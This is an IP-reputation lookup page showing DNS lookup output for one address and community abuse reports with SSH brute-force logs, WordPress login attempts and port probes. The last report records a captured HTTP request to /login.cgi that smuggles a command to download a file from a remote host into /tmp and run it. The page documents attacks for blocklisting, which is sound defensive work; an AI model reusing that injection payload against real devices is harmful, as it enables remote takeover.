Must be a valid IPv4 or IPv6 ip address, e.g. 127.0.0.1 or 2001:DB8:0:0:8:800:200C:417A
Basic Info

City: unknown

Region: unknown

Country: United States

Internet Service Provider: unknown

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:
No discussion about this IP yet. Click above link to make one.
Comments on same subnet:
No discussion about this subnet yet..
Whois info:
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Dig info:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 104.21.56.219
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 15201
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;104.21.56.219.			IN	A

;; AUTHORITY SECTION:
.			500	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2022021801 1800 900 604800 86400

;; Query time: 24 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sat Feb 19 03:30:30 CST 2022
;; MSG SIZE  rcvd: 106
Host info
Host 219.56.21.104.in-addr.arpa. not found: 3(NXDOMAIN)
Nslookup info:
Server:		183.60.83.19
Address:	183.60.83.19#53

** server can't find 219.56.21.104.in-addr.arpa: NXDOMAIN
Related IP info:
Related comments:
IP Type Details Datetime
118.24.210.254 attackbots
Invalid user anne from 118.24.210.254 port 41104
2019-06-29 23:54:38
58.65.128.197 attackbotsspam
Unauthorised access (Jun 29) SRC=58.65.128.197 LEN=40 TTL=238 ID=25721 TCP DPT=445 WINDOW=1024 SYN
2019-06-30 00:51:07
52.172.44.97 attackspambots
Jun 24 21:49:57 web1 sshd[31149]: Invalid user oracle from 52.172.44.97
Jun 24 21:49:57 web1 sshd[31149]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=52.172.44.97 
Jun 24 21:49:59 web1 sshd[31149]: Failed password for invalid user oracle from 52.172.44.97 port 38510 ssh2
Jun 24 21:49:59 web1 sshd[31149]: Received disconnect from 52.172.44.97: 11: Bye Bye [preauth]
Jun 24 21:53:23 web1 sshd[31512]: Invalid user zhou from 52.172.44.97
Jun 24 21:53:23 web1 sshd[31512]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=52.172.44.97 
Jun 24 21:53:24 web1 sshd[31512]: Failed password for invalid user zhou from 52.172.44.97 port 48768 ssh2
Jun 24 21:53:24 web1 sshd[31512]: Received disconnect from 52.172.44.97: 11: Bye Bye [preauth]
Jun 24 21:55:10 web1 sshd[31910]: Invalid user pick from 52.172.44.97
Jun 24 21:55:10 web1 sshd[31910]: pam_unix(sshd:auth): authentication failure; logname= uid=0 eu........
-------------------------------
2019-06-30 00:56:07
181.52.136.70 attack
Jun 24 15:52:02 em3 sshd[9575]: Invalid user bryan from 181.52.136.70
Jun 24 15:52:02 em3 sshd[9575]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=181.52.136.70 
Jun 24 15:52:04 em3 sshd[9575]: Failed password for invalid user bryan from 181.52.136.70 port 51274 ssh2
Jun 24 15:54:01 em3 sshd[9616]: Invalid user odoo from 181.52.136.70
Jun 24 15:54:01 em3 sshd[9616]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=181.52.136.70 

........
-----------------------------------------------
https://www.blocklist.de/en/view.html?ip=181.52.136.70
2019-06-30 00:40:36
96.35.158.10 attackspam
$f2bV_matches
2019-06-30 00:48:48
115.146.122.250 attackspambots
www.geburtshaus-fulda.de 115.146.122.250 \[29/Jun/2019:10:57:28 +0200\] "POST /wp-login.php HTTP/1.1" 200 5787 "-" "Mozilla/5.0 \(X11\; Ubuntu\; Linux x86_64\; rv:62.0\) Gecko/20100101 Firefox/62.0"
www.geburtshaus-fulda.de 115.146.122.250 \[29/Jun/2019:10:57:31 +0200\] "POST /wp-login.php HTTP/1.1" 200 5791 "-" "Mozilla/5.0 \(X11\; Ubuntu\; Linux x86_64\; rv:62.0\) Gecko/20100101 Firefox/62.0"
2019-06-30 00:18:17
72.135.232.190 attackspambots
Autoban   72.135.232.190 AUTH/CONNECT
2019-06-30 00:02:27
190.145.55.89 attack
Jun 29 10:47:37 giegler sshd[27265]: Invalid user zhun from 190.145.55.89 port 43701
2019-06-30 00:56:32
112.169.255.1 attack
Jun 29 15:40:44 bouncer sshd\[5703\]: Invalid user martin from 112.169.255.1 port 56130
Jun 29 15:40:44 bouncer sshd\[5703\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=112.169.255.1 
Jun 29 15:40:46 bouncer sshd\[5703\]: Failed password for invalid user martin from 112.169.255.1 port 56130 ssh2
...
2019-06-29 23:55:33
45.119.81.86 attackbots
ft-1848-basketball.de 45.119.81.86 \[29/Jun/2019:11:28:21 +0200\] "POST /wp-login.php HTTP/1.1" 200 2128 "-" "Mozilla/5.0 \(X11\; Ubuntu\; Linux x86_64\; rv:62.0\) Gecko/20100101 Firefox/62.0"
ft-1848-basketball.de 45.119.81.86 \[29/Jun/2019:11:28:27 +0200\] "POST /xmlrpc.php HTTP/1.1" 200 426 "-" "Mozilla/5.0 \(X11\; Ubuntu\; Linux x86_64\; rv:62.0\) Gecko/20100101 Firefox/62.0"
2019-06-30 00:57:51
190.180.63.229 attackbots
Jun 29 17:01:03 ncomp sshd[5032]: Invalid user test from 190.180.63.229
Jun 29 17:01:03 ncomp sshd[5032]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=190.180.63.229
Jun 29 17:01:03 ncomp sshd[5032]: Invalid user test from 190.180.63.229
Jun 29 17:01:05 ncomp sshd[5032]: Failed password for invalid user test from 190.180.63.229 port 44917 ssh2
2019-06-30 00:38:52
51.75.27.254 attack
Invalid user timemachine from 51.75.27.254 port 39156
2019-06-30 00:25:31
185.244.25.191 attack
MultiHost/MultiPort Probe, Scan, Hack -
2019-06-30 00:46:55
61.177.172.158 attackspam
Jun 29 13:46:00 Ubuntu-1404-trusty-64-minimal sshd\[3131\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=61.177.172.158  user=root
Jun 29 13:46:01 Ubuntu-1404-trusty-64-minimal sshd\[3131\]: Failed password for root from 61.177.172.158 port 44688 ssh2
Jun 29 13:46:03 Ubuntu-1404-trusty-64-minimal sshd\[3131\]: Failed password for root from 61.177.172.158 port 44688 ssh2
Jun 29 13:46:05 Ubuntu-1404-trusty-64-minimal sshd\[3131\]: Failed password for root from 61.177.172.158 port 44688 ssh2
Jun 29 13:46:07 Ubuntu-1404-trusty-64-minimal sshd\[3165\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=61.177.172.158  user=root
2019-06-30 00:43:08
212.19.116.205 attackspambots
212.19.116.205 - - [29/Jun/2019:10:28:35 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://206.189.170.165/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 166 "-" "ELEMENT/2.0"
...
2019-06-30 00:16:20

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